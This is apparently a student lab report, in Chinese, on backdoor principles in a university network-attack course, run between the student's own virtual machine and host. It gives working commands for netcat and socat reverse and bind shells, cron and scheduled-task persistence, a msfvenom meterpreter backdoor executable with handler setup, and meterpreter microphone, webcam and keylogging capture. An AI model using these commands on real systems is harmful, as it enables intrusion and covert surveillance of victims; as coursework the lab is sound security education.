2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践

目录
  • 1. 实践基础
    • 1.1 什么是后门?
    • 1.2 基础问题回答
  • 2. 实践内容
    • 2.1 使用netcat获取主机操作Shell,cron启动,包括
    • 2.2 使用socat获取主机操作Shell, 任务计划启动
    • 2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    • 2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 3. 实验总结
    • 4.1. 什么是漏洞?漏洞有什么危害?
      • 4.1.1 什么是漏洞:
      • 4.1.2 为什么会存在漏洞:
      • 4.1.3 总结与体会

1. 实践基础

1.1 什么是后门?


后门就是不经过正常认证流程而访问系统的通道

哪里有后门呢?

  • 编译器后门
  • 操作系统后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中的伪装为特定应用的专用后门程序


狭义后门概念:

  • 特指潜伏于操作系统中专门做后门的一个程序
  • “坏人”可以连接这个程序
  • 远程执行各种指令
  • 概念和木马有重叠

1.2 基础问题回答

例举你能想到的一个后门进入你系统中的可能方式


1.随意点击网页链接浏览未知内容的网页


2.打开邮箱中未知邮件,无意进入其链接


3.随意在网上下载未经认证的软件


4.使用游戏外挂

例举你知道的后门如何启动起来(win和Linux)的方式


1.windows中启动应用程序时被启动


2.Linux中后台输入命令启动

Meterperter有哪些给你印象深刻的功能?


可以在一个正常的可执行文件中添加反弹链接的代码,使得它成为一个后门
通过该软件可以调取被入侵主机的摄像头和音频输入设备,实现实时拍照,摄像和录音的功能,还能监听被入侵主机的键盘输入,获取其当前输入的内容,这就让我们想到盗取用户密码等...可怕的事情

如何发现自己有系统有没有被安装后门


1.通过杀毒软件的防护和扫描功能


2.不定时检查电脑中当前运行中的各种程序,发现异常进程立即关闭

2. 实践内容

2.1 使用netcat获取主机操作Shell,cron启动,包括


第一步:kali中是自带netcat软件的所以我们不需要下载就可以正常使用。而Windows系统中是没有该程序的,需要先下载才可以进行我们的实验。
可以在老师的码云附件中下载,无需安装解压即可使用。

注:由于控制需要通过网络,所以要首先保证攻击方主机和被攻击者主机网络是可连通的,由于实验是用虚拟机与物理机相互攻击,且两者使用同一网络,所以不存在该问题。


第二步:获取IP地址,Windows系统输入ipconfig,Linux系统输入ifconfig在此,我们先获得Windows网址:192.168.0.105
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第1张图片


第三步:
输入ncat.exe -l -p <学号作为端口号>使用ncat.exe程序监听本机的2327端口
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第2张图片


第四步:
在Kali环境下,使用nc指令的-e选项反向连接Windows主机的4322端口

输入nc <端口号> -e /bin/sh

nc 192.168.0.105 2327 -e /bin/sh
成功获得kali的shell,如下图所示
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第3张图片


第二步2:
获取Linux网址:192.168.0.109
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第4张图片


第三步2:
输入nc -l -p 2327,在Linux中监听端口


第四步2:
在Windows环境下,使用nc指令的-e选项反向连接Linux主机的4322端口

输入ncat.exe -e cmd.exe <端口号>

ncat.exe -e cmd.exe 192.168.0.109 2327
成功获得Windows的shell,如下图所示
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第5张图片

注:
netcat中参数

-l 代表开启监听

-p 指定端口

-e 发送一个指定应用程序


第五步:
cron是Linux下的定时任务,每分钟运行一次根据配置文件执行预设的指令。
具体步骤如下:

  • 步骤一:
    在Windows下,监听2327端口
    2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第6张图片

  • 在kali环境下用crontab -e指令编辑一条定时任务(-e表示编辑)
    2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第7张图片

选择编辑器3

  • 在最后一行添加50* * * * /bin/netcat 192.168.0.105 2327 -e /bin/sh
    (每小时的第50分钟反向连接Windows主机的2327端口,真的要等到x点50分!但是过了后还是会保留shell)
    2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第8张图片

  • 此时,已经到x点50,此时已经获得了Kali的shell,可以输入指令
    2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第9张图片

获得kali的文件目录

2.2 使用socat获取主机操作Shell, 任务计划启动


什么是socat:

  • socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N
    倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。

  • socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。

  • Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。

  • socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。


第一步:
Win+R输入compmgmt.msc打开“计算机管理”,在左侧导航栏中的“任务计划程序”中“创建任务”
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第10张图片


第二步:
新建触发器:
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第11张图片


第三步:在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:2327exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口2327
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第12张图片


第四步:启动任务计划
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第13张图片


在kali端输入:socat - tcp:192.168.0.105:2327
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第14张图片

2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell


第一步:使用msfvenom,生成20172327_backdoor.exe文件(在kali端执行)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=2327 -f exe > 20172327_backdoor.exe

2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第15张图片

参数说明:
(1)-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
(2)-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
(3)-e 使用的编码器,用于对shellcode变形,为了免杀。
(4)-i 编码器的迭代次数。如上即使用该编码器编码5次。
(5)-b badchar是payload中需要去除的字符。
(6)LHOST 是反弹回连的IP
(7)LPORT 是回连的端口
(8)-f 生成文件的类型
(9)> 输出到哪个文件


第二步:将exe文件传送到windows端

  • 在Windows下执行ncat.exe -l 2327 > 20172327_backdoor.exe,使被控主机进入接收文件模式
  • 在kali中执行nc 192.168.0.105 2327 < 20172327_backdoor.exe,从下图可以看到文件已经传输成功了
    2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第16张图片


第三步:MSF打开监听进程
输入如下操作:

  • msfconsole后进行如下操作:

  • use exploit/multi/handler,设置payload

  • set payload windows/meterpreter/reverse_tcp

  • set LHOST 192.168.0.109,设置ip

  • set LPORT 2327,设置端口

  • show options,查看选项
    2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第17张图片

  • exploit,点击exe文件执行,可以看到已经获取到了Windows的shell,可以输入dir来验证(一定要先点一下20175229_backdoor.exe文件再进行exploit操作)(记得关闭kali和Windows的防火墙)
    2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第18张图片

2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权


第一步:音频:输入record_mic
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第19张图片


第二步:摄像头:输入webcam_snap
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第20张图片


第三步:击键记录:输入keyscan_start开始记录,输入keyscan_dump读取击键的记录
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第21张图片


第四步:使用screenshot指令可以进行截屏
2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第22张图片

3. 实验总结

4.1. 什么是漏洞?漏洞有什么危害?

4.1.1 什么是漏洞:

漏洞即某个程序(包括操作系统)在设计时未考虑周全,当程序遇到一个看似合理,但实际无法处理的问题时,引发的不可预见的错误。系统漏洞又称安全缺陷,对用户造成的不良后果如下所述:

如漏洞被恶意用户利用,会造成信息泄漏,如黑客攻击网站即利用网络服务器操作系统的漏洞。

对用户操作造成不便,如不明原因的死机和丢失文件等。

4.1.2 为什么会存在漏洞:

漏洞的产生大致有三个原因,具体如下所述:

编程人员的人为因素,在程序编写过程,为实现不可告人的目的,在程序代码的隐蔽处保留后门。

受编程人员的能力、经验和当时安全技术所限,在程序中难免会有不足之处,轻则影响程序效率,重则导致非授权用户的权限提升。

由于硬件原因,使编程人员无法弥补硬件的漏洞,从而使硬件的问题通过软件表现。

4.1.3 总结与体会

  • 通过本次实验切实的了解了什么是后门,并且通过一系列操作在一定条件下我们也自己实现了后门的制作和渗透入侵,这也让我意识到了网络安全的重要性,然后想了想以前自己在网上随便下载软件和打开网页,真是让我感到细思极恐。实验既有趣又有用,我觉得以后我一定会更注意网络安全防护!!
  • 在假期,我有用过msfvenom,那时,我用它生成过apk文件,并将其装在我的旧手机上,作为一个app,当时就实现了,对手机前后摄像头,声音,已经屏幕的监控,和这次的我觉得非常像,但在手机上要手动允许权限,而Windows上却不用,所以我觉得Windows上的这实验更加隐秘,更加不会被人发现。
    下面上图:
    2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践_第23张图片

你可能感兴趣的:(2019-2020-2 网络对抗技术 20172327 Exp2 后门原理与实践)